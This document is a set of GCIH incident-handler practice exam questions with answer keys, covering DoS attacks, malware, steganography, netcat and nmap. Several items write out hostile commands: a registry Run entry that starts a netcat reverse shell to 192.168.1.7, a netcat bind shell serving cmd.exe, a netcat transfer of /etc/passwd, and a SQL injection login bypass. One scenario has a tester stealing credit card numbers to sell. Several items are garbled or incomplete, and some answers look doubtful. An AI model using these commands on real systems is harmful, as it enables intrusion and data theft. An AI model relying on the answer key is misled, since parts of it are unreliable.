GIAC

Exam Questions GCIH

GIAC Certified Incident Handler

NEW QUESTION 1
Adam, a novice computer user, works primarily from home as a medical professional. He just bought a brand new Dual Core Pentium computer with over 3 GB of RAM. After about two months of working on his new computer, he notices that it is not running nearly as fast as it used to. Adam uses antivirus software, anti-spyware software, and keeps the computer up-to-date with Microsoft patches. After another month of working on the computer, Adam finds that his computer is even more noticeably slow. He also notices a window or two pop-up on his screen, but they quickly disappear. He has seen these windows show up, even when he has not been on the Internet. Adam notices that his computer only has about 10 GB of free space available. Since his hard drive is a 200 GB hard drive, Adam thinks this is very odd.
Which of the following is the mostly likely the cause of the problem?

A. Computer is infected with the stealth kernel level rootkit.
B. Computer is infected with stealth virus.
C. Computer is infected with the Stealth Trojan Virus.
D. Computer is infected with the Self-Replication Worm.

Answer: A

NEW QUESTION 2
Which of the following types of attack can guess a hashed password?

A. Brute force attack
B. Evasion attack
C. Denial of Service attack
D. Teardrop attack

Answer: A

NEW QUESTION 3
In which of the following DoS attacks does an attacker send an ICMP packet larger than 65,536 bytes to the target system?

A. Ping of death
B. Jolt
C. Fraggle
D. Teardrop

Answer: A

NEW QUESTION 4
Adam has installed and configured his wireless network. He has enabled numerous security features such as changing the default SSID, enabling WPA encryption, and enabling MAC filtering on his wireless router. Adam notices that when he uses his wireless connection, the speed is sometimes 16 Mbps and sometimes it is only 8 Mbps or less. Adam connects to the management utility wireless router and finds out that a machine with an unfamiliar name is connected through his wireless connection. Paul checks the router's logs and notices that the unfamiliar machine has the same MAC address as his laptop.
Which of the following attacks has been occurred on the wireless network of Adam?

A. NAT spoofing
B. DNS cache poisoning
C. MAC spoofing
D. ARP spoofing

Answer: C

NEW QUESTION 5
Which of the following statements are true about tcp wrappers?
Each correct answer represents a complete solution. Choose all that apply.

A. tcp wrapper provides access control, host address spoofing, client username lookups, etc.
B. When a user uses a TCP wrapper, the inetd daemon runs the wrapper program tcpd instead of running the server program directly.
C. tcp wrapper allows host or subnetwork IP addresses, names and/or ident query replies, to be used as tokens to filter for access control purposes.
D. tcp wrapper protects a Linux server from IP address spoofing.

Answer: ABC

NEW QUESTION 6
John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com. He finds that the We-are-secure server is vulnerable to attacks. As a countermeasure, he suggests that the Network Administrator should remove the IPP printing capability from the server. He is suggesting this as a countermeasure against _____.

A. IIS buffer overflow
B. NetBIOS NULL session
C. SNMP enumeration
D. DNS zone transfer

Answer: A

NEW QUESTION 7
John works as a professional Ethical Hacker. He has been assigned a project to test the security of www.we-are-secure.com. On the We-are-secure login page, he

enters ='or''=' as a username and successfully logs in to the user page of the Web site.
The we-are-secure login page is vulnerable to a _____.

A. Dictionary attack
B. SQL injection attack
C. Replay attack
D. Land attack

Answer: B

NEW QUESTION 8
Adam works as a Security Analyst for Umbrella Inc. Company has a Windows-based network. All computers run on Windows XP. Manager of the Sales department complains Adam about the unusual behavior of his computer. He told Adam that some pornographic contents are suddenly appeared on his computer overnight. Adam suspects that some malicious software or Trojans have been installed on the computer. He runs some diagnostics programs and Port scanners and found that the Port 12345, 12346, and 20034 are open. Adam also noticed some tampering with the Windows registry, which causes one application to run every time when Windows start.
Which of the following is the most likely reason behind this issue?

A. Cheops-ng is installed on the computer.
B. Elsave is installed on the computer.
C. NetBus is installed on the computer.
D. NetStumbler is installed on the computer.

Answer: C

NEW QUESTION 9
Buffer overflows are one of the major errors used for exploitation on the Internet today. A buffer overflow occurs when a particular operation/function writes more data into a variable than the variable was designed to hold.
Which of the following are the two popular types of buffer overflows?
Each correct answer represents a complete solution. Choose two.

A. Dynamic buffer overflows
B. Stack based buffer overflow
C. Heap based buffer overflow
D. Static buffer overflows

Answer: BC

NEW QUESTION 10
Which of the following statements are true about a keylogger?
Each correct answer represents a complete solution. Choose all that apply.

A. It records all keystrokes on the victim's computer in a predefined log file.
B. It can be remotely installed on a computer system.
C. It is a software tool used to trace all or specific activities of a user on a computer.
D. It uses hidden code to destroy or scramble data on the hard disk.

Answer: ABC

NEW QUESTION 10
John works as a professional Ethical Hacker. He has been assigned a project to test the security of www.we-are-secure.com. He performs Web vulnerability scanning on the We-are-secure server. The output of the scanning test is as follows:
C:\whisker.pl -h target_IP_address
-- whisker / v1.4.0 / rain forest puppy / www.wiretrip.net -- = - = - = - = - =
= Host: target_IP_address
= Server: Apache/1.3.12 (Win32) ApacheJServ/1.1
mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22
+ 200 OK: HEAD /cgi-bin/printenv
John recognizes /cgi-bin/printenv vulnerability ('Printenv' vulnerability) in the We_are_secure server. Which of the following statements about 'Printenv' vulnerability are true?
Each correct answer represents a complete solution. Choose all that apply.

A. This vulnerability helps in a cross site scripting attack.
B. 'Printenv' vulnerability maintains a log file of user activities on the Website, which may be useful for the attacker.
C. The countermeasure to 'printenv' vulnerability is to remove the CGI script.
D. With the help of 'printenv' vulnerability, an attacker can input specially crafted links and/or other malicious scripts.

Answer: ACD

NEW QUESTION 14
Which of the following commands is used to access Windows resources from Linux workstation?

A. mutt
B. scp
C. rsync
D. smbclient

Answer: D

NEW QUESTION 19
You have configured a virtualized Internet browser on your Windows XP professional computer. Using the virtualized Internet browser, you can protect your operating system from which of the following?

A. Brute force attack
B. Mail bombing
C. Distributed denial of service (DDOS) attack
D. Malware installation from unknown Web sites

Answer: D

NEW QUESTION 20
You see the career section of a company's Web site and analyze the job profile requirements. You conclude that the company wants professionals who have a sharp knowledge of Windows server 2003 and Windows active directory installation and placement. Which of the following steps are you using to perform hacking?

A. Scanning
B. Covering tracks
C. Reconnaissance
D. Gaining access

Answer: C

NEW QUESTION 24
John works as a Professional Penetration Tester. He has been assigned a project to test the Website security of www.we-are-secure Inc. On the We-are-secure Website login page, he enters ='or''=' as a username and successfully logs on to the user page of the Web site. Now, John asks the we-aresecure Inc. to improve the login page PHP script. Which of the following suggestions can John give to improve the security of the we-are-secure Website login page from the SQL injection attack?

A. Use the escapeshellarg() function
B. Use the session_regenerate_id() function
C. Use the mysql_real_escape_string() function for escaping input
D. Use the escapeshellcmd() function

Answer: C

NEW QUESTION 26
Which of the following types of attacks is mounted with the objective of causing a negative impact on the performance of a computer or network?

A. Vulnerability attack
B. Man-in-the-middle attack
C. Denial-of-Service (DoS) attack
D. Impersonation attack

Answer: C

NEW QUESTION 27
Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to test the network security of the company. He created a webpage to discuss the progress of the tests with employees who were interested in following the test. Visitors were allowed to click on a company's icon to mark the progress of the test. Adam successfully embeds a keylogger. He also added some statistics on the webpage. The firewall protects the network well and allows strict Internet access.
How was security compromised and how did the firewall respond?

A. The attack was social engineering and the firewall did not detect it.
B. Security was not compromised as the webpage was hosted internally.
C. The attack was Cross Site Scripting and the firewall blocked it.
D. Security was compromised as keylogger is invisible for firewall.

Answer: A

NEW QUESTION 30
Which of the following methods can be used to detect session hijacking attack?

A. nmap
B. Brutus
C. ntop
D. sniffer

Answer: D

NEW QUESTION 34
Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to secure access to the network of the company from all possible entry points. He segmented the network into several subnets and installed firewalls all over the network. He has placed very stringent rules on all the firewalls, blocking everything in and out except the ports that must be used. He does need to have port 80 open since his company hosts a website that must be accessed from the Internet. Adam is still worried about the programs like Hping2 that can get into a network through covert channels.
Which of the following is the most effective way to protect the network of the company from an attacker using Hping2 to scan his internal network?

A. Block all outgoing traffic on port 21
B. Block all outgoing traffic on port 53
C. Block ICMP type 13 messages
D. Block ICMP type 3 messages

Answer: C

NEW QUESTION 38
You check performance logs and note that there has been a recent dramatic increase in the amount of broadcast traffic. What is this most likely to be an indicator of?

A. Virus
B. Syn flood
C. Misconfigured router
D. DoS attack

Answer: D

NEW QUESTION 41
Which of the following is a reason to implement security logging on a DNS server?

A. For preventing malware attacks on a DNS server
B. For measuring a DNS server's performance
C. For monitoring unauthorized zone transfer
D. For recording the number of queries resolved

Answer: C

NEW QUESTION 45
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command?
Each correct answer represents a complete solution. Choose all that apply.

A. You want to perform banner grabbing.
B. You want to set the Netcat to execute command any time.
C. You want to put Netcat in the stealth mode.
D. You want to add the Netcat command to the Windows registry.

Answer: BCD

NEW QUESTION 46
Which of the following functions can be used as a countermeasure to a Shell Injection attack?
Each correct answer represents a complete solution. Choose all that apply.

A. escapeshellarg()
B. mysql_real_escape_string()
C. regenerateid()
D. escapeshellcmd()

Answer: AD

NEW QUESTION 51
Which of the following tools can be used to detect the steganography?

A. Dskprobe
B. Blindside
C. ImageHide
D. Snow

Answer: A

NEW QUESTION 55
Many organizations create network maps of their network system to visualize the network and understand the relationship between the end devices and the transport layer that provide services.
Which of the following are the techniques used for network mapping by large organizations?
Each correct answer represents a complete solution. Choose three.

A. Packet crafting
B. Route analytics
C. SNMP-based approaches
D. Active Probing

Answer: BCD

NEW QUESTION 57
Adam works as a sales manager for Umbrella Inc. He wants to download software from the Internet. As the software comes from a site in his untrusted zone, Adam wants to ensure that the downloaded software has not been Trojaned. Which of the following options would indicate the best course of action for Adam?

A. Compare the file size of the software with the one given on the Website.
B. Compare the version of the software with the one published on the distribution media.
C. Compare the file's virus signature with the one published on the distribution.
D. Compare the file's MD5 signature with the one published on the distribution media.

Answer: D

NEW QUESTION 62
Maria works as a professional Ethical Hacker. She is assigned a project to test the security of www.we-are-secure.com. She wants to test a DoS attack on the We-are-secure server. She finds that the firewall of the server is blocking the ICMP messages, but it is not checking the UDP packets. Therefore, she sends a large amount of UDP echo request traffic to the IP broadcast addresses. These UDP requests have a spoofed source address of the We-are-secure server. Which of the following DoS attacks is Maria using to accomplish her task?

A. Ping flood attack
B. Fraggle DoS attack
C. Teardrop attack
D. Smurf DoS attack

Answer: B

NEW QUESTION 67
Which of the following password cracking attacks is based on a pre-calculated hash table to retrieve plain text passwords?

A. Rainbow attack
B. Brute Force attack
C. Dictionary attack
D. Hybrid attack

Answer: A

NEW QUESTION 68
You run the following bash script in Linux:
for i in 'cat hostlist.txt' ;do
nc -q 2 -v $i 80 < request.txt done
Where, hostlist.txt file contains the list of IP addresses and request.txt is the output file. Which of the following tasks do you want to perform by running this script?

A. You want to put nmap in the listen mode to the hosts given in the IP address list.
B. You want to perform banner grabbing to the hosts given in the IP address list.
C. You want to perform port scanning to the hosts given in the IP address list.
D. You want to transfer file hostlist.txt to the hosts given in the IP address list.

Answer: B

NEW QUESTION 70
Which of the following DoS attacks affects mostly Windows computers by sending corrupt UDP packets?

A. Fraggle
B. Ping flood
C. Bonk
D. Smurf

Answer: C

NEW QUESTION 75
Which of the following statements about a Trojan horse are true?
Each correct answer represents a complete solution. Choose two.

A. It is a macro or script that attaches itself to a file or template.
B. The writers of a Trojan horse can use it later to gain unauthorized access to a computer.
C. It is a malicious software program code that resembles another normal program.
D. It infects the boot record on hard disks and floppy disks.

Answer: BC

NEW QUESTION 78
Your network is being flooded by ICMP packets. When you trace them down they come from multiple different IP addresses. What kind of attack is this?

A. Syn flood
B. Ping storm
C. Smurf attack
D. DDOS

Answer:

D

NEW QUESTION 82
108 ms 14 0.so-4-1-0.TL1.ATL5.ALTER.NET (152.63.10.129) 37.894 ms 33.244 ms

A. Mastered
B. Not Mastered

Answer: A

NEW QUESTION 84
Your friend plans to install a Trojan on your computer. He knows that if he gives you a new version of chess.exe, you will definitely install the game on your computer. He picks up a Trojan and joins it with chess.exe. Which of the following tools are required in such a scenario?
Each correct answer represents a part of the solution. Choose three.

A. NetBus
B. Absinthe
C. Yet Another Binder
D. Chess.exe

Answer: ACD

NEW QUESTION 87
Victor works as a professional Ethical Hacker for SecureEnet Inc. He has been assigned a job to test an image, in which some secret information is hidden, using Steganography. Victor performs the following techniques to accomplish the task:

A. Mastered
B. Not Mastered

Answer: A

NEW QUESTION 89
Which of the following is the process of comparing cryptographic hash functions of system executables and configuration files?

A. Shoulder surfing
B. File integrity auditing
C. Reconnaissance
D. Spoofing

Answer: B

NEW QUESTION 92
Which of the following are open-source vulnerability scanners?

A. Nessus
B. Hackbot
C. NetRecon
D. Nikto

Answer: ABD

NEW QUESTION 97
Which of the following is executed when a predetermined event occurs?

A. Trojan horse
B. Logic bomb
C. MAC
D. Worm

Answer: B

NEW QUESTION 102
As a professional hacker, you want to crack the security of secureserver.com. For this, in the information gathering step, you performed scanning with the help of nmap utility to retrieve as many different protocols as possible being used by the secureserver.com so that you could get the accurate knowledge about what services were being used by the secure server.com. Which of the following nmap switches have you used to accomplish the task?

A. nmap -vO
B. nmap -sS
C. nmap -sT
D. nmap -sO

Answer: D

NEW QUESTION 104

Which of the following functions in c/c++ can be the cause of buffer overflow?
Each correct answer represents a complete solution. Choose two.

A. printf()
B. strcat()
C. strcpy()
D. strlength()

Answer: BC

NEW QUESTION 108
You work as an Incident handling manager for a company. The public relations process of the company includes an event that responds to the e-mails queries. But since few days, it is identified that this process is providing a way to spammers to perform different types of e-mail attacks. Which of the following phases of the Incident handling process will now be involved in resolving this process and find a solution?
Each correct answer represents a part of the solution. Choose all that apply.

A. Eradication
B. Contamination
C. Preparation
D. Recovery
E. Identification

Answer: ABD

NEW QUESTION 109
You work as a Security Administrator for Net Perfect Inc. The company has a Windows-based network. You want to use a scanning technique which works as a reconnaissance attack. The technique should direct to a specific host or network to determine the services that the host offers.
Which of the following scanning techniques can you use to accomplish the task?

A. IDLE scan
B. Nmap
C. SYN scan
D. Host port scan

Answer: D

NEW QUESTION 113
Which of the following actions is performed by the netcat command given below?
nc 55555 < /etc/passwd

A. It changes the /etc/passwd file when connected to the UDP port 55555.
B. It resets the /etc/passwd file to the UDP port 55555.
C. It fills the incoming connections to /etc/passwd file.
D. It grabs the /etc/passwd file when connected to UDP port 55555.

Answer: D

NEW QUESTION 116
Which of the following programs can be used to detect stealth port scans performed by a malicious hacker?
Each correct answer represents a complete solution. Choose all that apply.

A. nmap
B. scanlogd
C. libnids
D. portsentry

Answer: BCD

NEW QUESTION 121
Which of the following attacks are examples of Denial-of-service attacks (DoS)?
Each correct answer represents a complete solution. Choose all that apply.

A. Fraggle attack
B. Smurf attack
C. Birthday attack
D. Ping flood attack

Answer: ABD

NEW QUESTION 125
Which of the following are the automated tools that are used to perform penetration testing?
Each correct answer represents a complete solution. Choose two.

A. Pwdump
B. Nessus
C. EtherApe
D. GFI LANguard

Answer: BD

NEW QUESTION 128
You are an Incident manager in Orangesect.Inc. You have been tasked to set up a new extension of your enterprise. The networking, to be done in the new extension, requires different types of cables and an appropriate policy that will be decided by you. Which of the following stages in the Incident handling process involves your decision making?

A. Identification
B. Containment
C. Eradication
D. Preparation

Answer: D

NEW QUESTION 130
Which of the following can be used as a Trojan vector to infect an information system?
Each correct answer represents a complete solution. Choose all that apply.

A. NetBIOS remote installation
B. Any fake executable
C. Spywares and adware
D. ActiveX controls, VBScript, and Java scripts

Answer: ABCD

NEW QUESTION 135
Which of the following tools can be used as penetration tools in the Information system auditing process?
Each correct answer represents a complete solution. Choose two.

A. Nmap
B. Snort
C. SARA
D. Nessus

Answer: CD

NEW QUESTION 140
Rick works as a Computer Forensic Investigator for BlueWells Inc. He has been informed that some confidential information is being leaked out by an employee of the company. Rick suspects that someone is sending the information through email. He checks the emails sent by some employees to other networks. Rick finds out that Sam, an employee of the Sales department, is continuously sending text files that contain special symbols, graphics, and signs. Rick suspects that Sam is using the Steganography technique to send data in a disguised form. Which of the following techniques is Sam using?
Each correct answer represents a part of the solution. Choose all that apply.

A. Linguistic steganography
B. Perceptual masking
C. Technical steganography
D. Text Semagrams

Answer: AD

NEW QUESTION 145
Which of the following US Acts emphasized a "risk-based policy for cost-effective security" and makes mandatory for agency program officials, chief information officers, and inspectors general (IGs) to conduct annual reviews of the agency's information security program and report the results to Office of Management and Budget?

A. The Electronic Communications Privacy Act of 1986 (ECPA)
B. The Fair Credit Reporting Act (FCRA)
C. The Equal Credit Opportunity Act (ECOA)
D. Federal Information Security Management Act of 2002 (FISMA)

Answer: D

NEW QUESTION 148
You are the Administrator for a corporate network. You are concerned about denial of service attacks.
Which of the following measures would be most helpful in defending against a Denial-of-Service (DoS) attack?

A. Implement network based antivirus.
B. Place a honey pot in the DMZ.
C. Shorten the timeout for connection attempts.
D. Implement a strong password policy.

Answer: C

NEW QUESTION 153
Which of the following attacks can be overcome by applying cryptography?

A. Buffer overflow
B. Web ripping
C. Sniffing
D. DoS

Answer: C

NEW QUESTION 155
Which of the following refers to applications or files that are not classified as viruses or Trojan horse programs, but can still negatively affect the performance of the computers on your network and introduce significant security risks to your organization?

A. Hardware
B. Grayware
C. Firmware
D. Melissa

Answer: B

NEW QUESTION 159
Which of the following is a type of computer security vulnerability typically found in Web applications that allow code injection by malicious Web users into the Web pages viewed by other users?

A. SID filtering
B. Cookie poisoning
C. Cross-site scripting
D. Privilege Escalation

Answer: C

NEW QUESTION 161
John works as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company uses Check Point SmartDefense to provide security to the network of the company. On the HTTP servers of the company, John defines a rule for dropping any kind of userdefined URLs. Which of the following types of attacks can be prevented by dropping the user- defined URLs?

A. Morris worm
B. Code red worm
C. Hybrid attacks
D. PTC worms and mutations

Answer: D

NEW QUESTION 164
In which of the following attacks does an attacker spoof the source address in IP packets that are sent to the victim?

A. Dos
B. DDoS
C. Backscatter
D. SQL injection

Answer: C

NEW QUESTION 168
In which of the following steps of the incident handling processes does the Incident Handler make sure that all business processes and functions are back to normal and then also wants to monitor the system or processes to ensure that the system is not compromised again?

A. Eradication
B. Lesson Learned
C. Recovery
D. Containment

Answer: C

NEW QUESTION 169
You are hired as a Database Administrator for Jennifer Shopping Cart Inc. You monitor the server health through the System Monitor and found that there is a sudden increase in the number of logins.
A case study is provided in the exhibit. Which of the following types of attack has occurred? (Click the Exhibit button on the toolbar to see the case study.)

A. Injection
B. Virus
C. Worm
D. Denial-of-service

Answer: D

NEW QUESTION 173

Which of the following types of malware does not replicate itself but can spread only when the circumstances are beneficial?

A. Mass mailer
B. Worm
C. Blended threat
D. Trojan horse

Answer: D

NEW QUESTION 175
CORRECT TEXT
Fill in the blank with the appropriate name of the attack.
_____ takes best advantage of an existing authenticated connection

A.

Answer: sessionhijacking

NEW QUESTION 178
Which of the following tools will you use to prevent from session hijacking?
Each correct answer represents a complete solution. Choose all that apply.

A. OpenSSH
B. Rlogin
C. Telnet
D. SSL

Answer: AD

NEW QUESTION 180
Mark works as a Network Administrator for NetTech Inc. The network has 150 Windows 2000 Professional client computers and four Windows 2000 servers. All the client computers are able to connect to the Internet. Mark is concerned about malware infecting the client computers through the Internet. What will Mark do to protect the client computers from malware?
Each correct answer represents a complete solution. Choose two.

A. Educate users of the client computers to avoid malware.
B. Educate users of the client computers about the problems arising due to malware.
C. Prevent users of the client computers from executing any programs.
D. Assign Read-Only permission to the users for accessing the hard disk drives of the client computers.

Answer: AB

NEW QUESTION 184
Which of the following terms describes an attempt to transfer DNS zone data?

A. Reconnaissance
B. Encapsulation
C. Dumpster diving
D. Spam

Answer: A

NEW QUESTION 187
Adam works as a Security Administrator for the Umbrella Inc. A project has been assigned to him to strengthen the security policies of the company, including its password policies. However, due to some old applications, Adam is only able to enforce a password group policy in Active Directory with a minimum of 10 characters. He informed the employees of the company, that the new password policy requires that everyone must have complex passwords with at least 14 characters. Adam wants to ensure that everyone is using complex passwords that meet the new security policy requirements. He logged on to one of the network's domain controllers and runs the following command:

Which of the following actions will this command take?

A. Dumps the SAM password hashes to pwd.txt
B. Dumps the SAM password file to pwd.txt
C. Dumps the Active Directory password hashes to pwd.txt
D. The password history file is transferred to pwd.txt

Answer: A

NEW QUESTION 191
Address Resolution Protocol (ARP) spoofing, also known as ARP poisoning or ARP Poison Routing (APR), is a technique used to attack an Ethernet wired or wireless network. ARP spoofing may allow an attacker to sniff data frames on a local area network (LAN), modify the traffic, or stop the traffic altogether. The principle of ARP spoofing is to send fake ARP messages to an Ethernet LAN. What steps can be used as a countermeasure of ARP spoofing?
Each correct answer represents a complete solution. Choose all that apply.

A. Using smash guard utility
B. Using ARP Guard utility
C. Using static ARP entries on servers, workstation and routers

D. Using ARP watch utility
E. Using IDS Sensors to check continually for large amount of ARP traffic on local subnets

Answer: BCDE

NEW QUESTION 193
Which of the following malicious code can have more than one type of trigger, multiple task capabilities, and can replicate itself in more than one manner?

A. Macro virus
B. Blended threat
C. Trojan
D. Boot sector virus

Answer: B

NEW QUESTION 197
Which of the following can be used as a countermeasure against the SQL injection attack?
Each correct answer represents a complete solution. Choose two.

A. mysql_real_escape_string()
B. session_regenerate_id()
C. mysql_escape_string()
D. Prepared statement

Answer: AD

NEW QUESTION 202
A user is sending a large number of protocol packets to a network in order to saturate its resources and to disrupt connections to prevent communications between services. Which type of attack is this?

A. Vulnerability attack
B. Impersonation attack
C. Social Engineering attack
D. Denial-of-Service attack

Answer: D

NEW QUESTION 205
Maria works as the Chief Security Officer for Exambible Inc. She wants to send secret messages to the CEO of the company. To secure these messages, she uses a technique of hiding a secret message within an ordinary message. The technique provides 'security through obscurity'. What technique is Maria using?

A. Steganography
B. Public-key cryptography
C. RSA algorithm
D. Encryption

Answer: A

NEW QUESTION 209
CORRECT TEXT
Fill in the blank with the appropriate name of the tool.
_____ scans for rootkits by comparing SHA-1 hashes of important files with known good ones in online database.

A.

Answer: rkhunter

NEW QUESTION 212
You are the Security Consultant and have been hired to check security for a client's network. Your client has stated that he has many concerns but the most critical is the security of Web applications on their Web server. What should be your highest priority then in checking his network?

A. Setting up IDS
B. Port scanning
C. Vulnerability scanning
D. Setting up a honey pot

Answer: C

NEW QUESTION 216
Which of the following tasks can be performed by using netcat utility?
Each correct answer represents a complete solution. Choose all that apply.

A. Checking file integrity
B. Creating a Backdoor
C. Firewall testing

D. Port scanning and service identification

Answer: BCD

NEW QUESTION 218
You work as a professional Ethical Hacker. You are assigned a project to test the security of www.weare-secure.com. You somehow enter in we-are-secure Inc. main server, which is Windows based.
While you are installing the NetCat tool as a backdoor in the we-are-secure server, you see the file credit.dat having the list of credit card numbers of the company's employees. You want to transfer the credit.dat file in your local computer so that you can sell that information on the internet in the good price.
However, you do not want to send the contents of this file in the clear text format since you do not want that the Network Administrator of the we-are-secure Inc. can get any clue of the hacking attempt. Hence, you decide to send the content of the credit.dat file in the encrypted format.
What steps should you take to accomplish the task?

A. You will use the ftp service.
B. You will use Wireshark.
C. You will use CryptCat instead of NetCat.
D. You will use brutus.

Answer: C

NEW QUESTION 222
John, a novice web user, makes a new E-mail account and keeps his password as "apple", his favorite fruit. John's password is vulnerable to which of the following password cracking attacks?
Each correct answer represents a complete solution. Choose all that apply.

A. Hybrid attack
B. Rule based attack
C. Dictionary attack
D. Brute Force attack

Answer: ACD

NEW QUESTION 223
A Denial-of-Service (DoS) attack is mounted with the objective of causing a negative impact on the performance of a computer or network. It is also known as network saturation attack or bandwidth consumption attack. Attackers perform DoS attacks by sending a large number of protocol packets to a network. The problems caused by a DoS attack are as follows:
l Saturation of network resources
l Disruption of connections between two computers, thereby preventing communications between services
l Disruption of services to a specific computer
l Failure to access a Web site
l Increase in the amount of spam
Which of the following can be used as countermeasures against DoS attacks?
Each correct answer represents a complete solution. Choose all that apply.

A. Blocking undesired IP addresses
B. Applying router filtering
C. Disabling unneeded network services
D. Permitting network access only to desired traffic

Answer: ABCD

NEW QUESTION 224
Which of the following attacking methods allows the bypassing of access control lists on servers or routers, either hiding a computer on a network or allowing it to impersonate another computer by changing the Media Access Control address?

A. IP address spoofing
B. VLAN hoping
C. ARP spoofing
D. MAC spoofing

Answer: D

NEW QUESTION 228
Which of the following techniques does an attacker use to sniff data frames on a local area network and modify the traffic?

A. MAC spoofing
B. IP address spoofing
C. Email spoofing
D. ARP spoofing

Answer: D

NEW QUESTION 231
Brutus is a password cracking tool that can be used to crack the following authentications:
l HTTP (Basic Authentication)
l HTTP (HTML Form/CGI)
l POP3 (Post Office Protocol v3)

l FTP (File Transfer Protocol)
l SMB (Server Message Block)
l Telnet
Which of the following attacks can be performed by Brutus for password cracking?
Each correct answer represents a complete solution. Choose all that apply.

A. Hybrid attack
B. Replay attack
C. Dictionary attack
D. Brute force attack
E. Man-in-the-middle attack

Answer: ACD

NEW QUESTION 234
Maria works as a professional Ethical Hacker. She has been assigned the project of testing the security of www.gentech.com. She is using dumpster diving to gather information about Gentech Inc.
In which of the following steps of malicious hacking does dumpster diving come under?

A. Multi-factor authentication
B. Role-based access control
C. Mutual authentication
D. Reconnaissance

Answer: D

NEW QUESTION 238
You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company uses Check Point SmartDefense to provide security to the network of the company. You use SmartDefense on the HTTP servers of the company to fix the limitation for the maximum number of response headers allowed.
Which of the following attacks will be blocked by defining this limitation?
Each correct answer represents a complete solution. Choose all that apply.

A. Land attack
B. Code red worm
C. Backdoor attack
D. User-defined worm

Answer: BD

NEW QUESTION 242
Which of the following statements are true regarding SYN flood attack?

A. The attacker sends a succession of SYN requests to a target system.
B. SYN flood is a form of Denial-of-Service (DoS) attack.
C. The attacker sends thousands and thousands of ACK packets to the victim.
D. SYN cookies provide protection against the SYN flood by eliminating the resources allocated on the target host.

Answer: ABD

NEW QUESTION 245
Which of the following attacks involves multiple compromised systems to attack a single target?

A. Brute force attack
B. Replay attack
C. Dictionary attack
D. DDoS attack

Answer: D

NEW QUESTION 248
The IT administrator wants to implement a stronger security policy. What are the four most important security priorities for Exambible Software Systems Pvt. Ltd.? (Click the Exhibit button on the toolbar to see the case study.)

A. Providing secure communications between the overseas office and the headquarters.
B. Implementing Certificate services on Texas office.
C. Protecting employee data on portable computers.
D. Providing two-factor authentication.
E. Ensuring secure authentication.
F. Preventing unauthorized network access.
G. Providing secure communications between Washington and the headquarters office.
H. Preventing denial-of-service attacks.

Answer: ACEF

NEW QUESTION 252
US Garments wants all encrypted data communication between corporate office and remote location.

They want to achieve following results:
l Authentication of users
l Anti-replay
l Anti-spoofing
l IP packet encryption
They implemented IPSec using Authentication Headers (AHs). Which results does this solution provide? (Click the Exhibit button on the toolbar to see the case study.)
Each correct answer represents a complete solution. Choose all that apply.

A. Anti-replay
B. IP packet encryption
C. Authentication of users
D. Anti-spoofing

Answer: AD

NEW QUESTION 255
Jane works as a Consumer Support Technician for ABC Inc. The company provides troubleshooting support to users. Jane is troubleshooting the computer of a user who has installed software that automatically gains full permissions on his computer. Jane has never seen this software before. Which of the following types of malware is the user facing on his computer?

A. Rootkits
B. Viruses
C. Spyware
D. Adware

Answer: A

NEW QUESTION 259
Which of the following is the most common vulnerability that can affect desktop applications written in native code?

A. SpyWare
B. DDoS attack
C. Malware
D. Buffer overflow

Answer: D

NEW QUESTION 260
Which of the following is the difference between SSL and S-HTTP?

A. SSL operates at the application layer and S-HTTP operates at the network layer.
B. SSL operates at the application layer and S-HTTP operates at the transport layer.
C. SSL operates at the network layer and S-HTTP operates at the application layer.
D. SSL operates at the transport layer and S-HTTP operates at the application layer.

Answer: D

NEW QUESTION 265
Which of the following Trojans is used by attackers to modify the Web browser settings?

A. Win32/FlyStudio
B. Trojan.Lodear
C. WMA/TrojanDownloader.GetCodec
D. Win32/Pacex.Gen

Answer: A

NEW QUESTION 270
TCP/IP stack fingerprinting is the passive collection of configuration attributes from a remote device during standard layer 4 network communications. The combination of parameters may then be used to infer the remote operating system (OS fingerprinting), or incorporated into a device fingerprint.
Which of the following Nmap switches can be used to perform TCP/IP stack fingerprinting?

A. nmap -sS
B. nmap -sU -p
C. nmap -O -p
D. nmap -sT

Answer: C

NEW QUESTION 273
Which of the following penetration testing phases involves gathering data from whois, DNS, and network scanning, which helps in mapping a target network and provides valuable information regarding the operating system and applications running on the systems?

A. Post-attack phase
B. On-attack phase
C. Attack phase

D. Pre-attack phase

Answer: D

NEW QUESTION 275
Which of the following statements about buffer overflow are true?
Each correct answer represents a complete solution. Choose two.

A. It is a situation that occurs when a storage device runs out of space.
B. It is a situation that occurs when an application receives more data than it is configured to accept.
C. It can improve application performance.
D. It can terminate an application.

Answer: BD

NEW QUESTION 277
Which of the following controls is described in the statement given below?
"It ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. It secures information by assigning sensitivity labels on information and comparing this to the level of security a user is operating at."

A. Role-based Access Control
B. Attribute-based Access Control
C. Discretionary Access Control
D. Mandatory Access Control

Answer: D

NEW QUESTION 282
John works as a Network Security Professional. He is assigned a project to test the security of www.we-are-secure.com. He establishes a connection to a target host running a Web service with netcat and sends a bad html request in order to retrieve information about the service on the host.

Which of the following attacks is John using?

A. Sniffing
B. Eavesdropping
C. War driving
D. Banner grabbing

Answer: D

NEW QUESTION 286
CORRECT TEXT
Fill in the blank with the appropriate option to complete the statement below.
You want to block all UDP packets coming to the Linux server using the portsentry utility. For this, you have to enable the _____ option in the portsentry configuration file.

A.

Answer: BLOCK_UDP

NEW QUESTION 291
You execute the following netcat command:
c:\target\nc -1 -p 53 -d -e cmd.exe
What action do you want to perform by issuing the above command?

A. Listen the incoming data and performing port scanning
B. Capture data on port 53 and performing banner grabbing
C. Capture data on port 53 and delete the remote shell
D. Listen the incoming traffic on port 53 and execute the remote shell

Answer: D

NEW QUESTION 294
You work as an Incident handler in Mariotrixt.Inc. You have followed the Incident handling process to handle the events and incidents. You identify Denial of Service attack (DOS) from a network linked to your internal enterprise network. Which of the following phases of the Incident handling process should you follow next to handle this incident?

A. Containment
B. Preparation
C. Recovery
D. Identification

Answer: A

NEW QUESTION 295

John works as a professional Ethical Hacker. He is assigned a project to test the security of www.weare-secure.com. He enters a single quote in the input field of the login page of the We- are-secure Web site and receives the following error message:
